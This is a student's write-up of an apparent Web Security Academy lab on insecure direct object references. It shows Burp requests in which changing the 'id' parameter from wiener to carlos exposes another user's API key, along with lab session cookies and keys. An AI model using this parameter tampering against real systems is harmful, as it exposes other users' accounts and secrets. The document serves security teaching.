


## Lab 8 - User ID controlled by request parameter with data leakage in redirect.

Ahmed Khaled Saad Ali

ID:1809799

### Lab Progress & Screenshots:

Logged in as wiener.



User ID controlled by request parameter with data leakage in redirect

Submit solution Back to lab description >>

LAB Not solved

[Home](#) | [My account](#) | [Log out](#)

### My Account

Your username is: wiener  
Your API Key is: A82H5vaZYaYWeZwi9jMXxAlcnujJVf0

Update email

We see this GET request with “id” field, we send to the “Repeater”

Intercept HTTP history WebSockets history Proxy settings

Request to https://0a52005e0469f1ddc28f08c5003f0025.web-security-academy.net:443

Forward Drop Intercept is on Action Open

Pretty Raw Hex

```
1 GET /my-account?id=wiener HTTP/2
2 Host: 0a52005e0469f1ddc28f08c5003f0025.web-security-academy.net
3 Cookie: session=cy0nwwZQ5i7pP4ml9Zc4UhEBE0JFHboV
4 Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
5 Sec-Ch-Ua-Mobile: ?0
6 Sec-Ch-Ua-Platform: "Windows"
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit
9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,ima
10 Sec-Fetch-Site: same-origin
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-User: ?1
13 Sec-Fetch-Dest: document
14 Referer: https://0a52005e0469f1ddc28f08c5003f0025.web-security-ac
15 Accept-Encoding: gzip, deflate
16 Accept-Language: en-US,en;q=0.9
```

When we send request with “id=wiener”, we get his API key in the response.

Target: https://0a52005e0469f1ddc28f08c5003f0025.web-security-academy.net

**Request**

```
1 GET /my-account?id=wiener HTTP/2
2 Host: 0a52005e0469f1ddc28f08c5003f0025.web-security-academy.net
3 Cookie: session=cymwv25i7p94ml5Zc4UdXEOJFb0V
4 Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
5 Sec-Ch-Ua-Mobile: ?0
6 Sec-Ch-Ua-Platform: "Windows"
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
10 Sec-Fetch-Site: same-origin
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-User: ?1
13 Sec-Fetch-Dest: document
14 Referer: https://0a52005e0469f1ddc28f08c5003f0025.web-security-academy.net/my-account
15 Accept-Encoding: gzip, deflate
16 Accept-Language: en-US,en;q=0.9
```

**Response**

```
51 </section>
52 </header>
53 <header class="notification-header">
54 </header>
55 <h1>
56 My Account
57 </h1>
58 <div id=account-content>
59 <p>
60 Your username is: wiener
61 </p>
62 <p>
63 Your API Key is: AS2H5vaZTaYWeZwi5jMDxAlcjnujJVFO
64 </div>
65 <div>
66 <form class="login-form" name="change-email-form" action="
67 /my-account/change-email" method="POST">
68 <label>
69 Email
70 </label>
71 <input required type="email" name="email" value="">
72 </div>
```

So, we will change “id” field to carlos, and we copy his API Key from response.

Target: https://0a52005e0469f1ddc28f08c5003f0025.web-security-academy.net

**Request**

```
1 GET /my-account?id=carlos HTTP/2
2 Host: 0a52005e0469f1ddc28f08c5003f0025.web-security-academy.net
3 Cookie: session=cymwv25i7p94ml5Zc4UdXEOJFb0V
4 Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
5 Sec-Ch-Ua-Mobile: ?0
6 Sec-Ch-Ua-Platform: "Windows"
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
10 Sec-Fetch-Site: same-origin
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-User: ?1
13 Sec-Fetch-Dest: document
14 Referer: https://0a52005e0469f1ddc28f08c5003f0025.web-security-academy.net/my-account
15 Accept-Encoding: gzip, deflate
16 Accept-Language: en-US,en;q=0.9
```

**Response**

```
51 Log out
52 </a>
53 <p>
54 </p>
55 </section>
56 </header>
57 <header class="notification-header">
58 </header>
59 <h1>
60 My Account
61 </h1>
62 <div id=account-content>
63 <p>
64 Your username is: carlos
65 </p>
66 <p>
67 Your API Key is: fEE8k3PqLf04pWcflPmAJsqBhn5k6in
68 </div>
69 <div>
70 <form class="login-form" name="change-email-form" action="
71 /my-account/change-email" method="POST">
72 <label>
73 Email
74 </label>
75 <input required type="email" name="email" value="">
76 </div>
```

Submit API Key.

Web Security Academy

User ID controlled by request parameter with data leakage in redirect

Submit solution

Answer: fEE8k3PqLf04pWcflPmAJsqBhn5k6in

LAB Not solved

Home | My account | Log out

Lab Solved.

Web Security Academy

User ID controlled by request parameter with data leakage in redirect

Back to lab description >>

Congratulations, you solved the lab!

Share your skills! Continue learning >>

Home | My account | Log out

Lessons:

Don't simply include identifiers of a user in when he sends a request.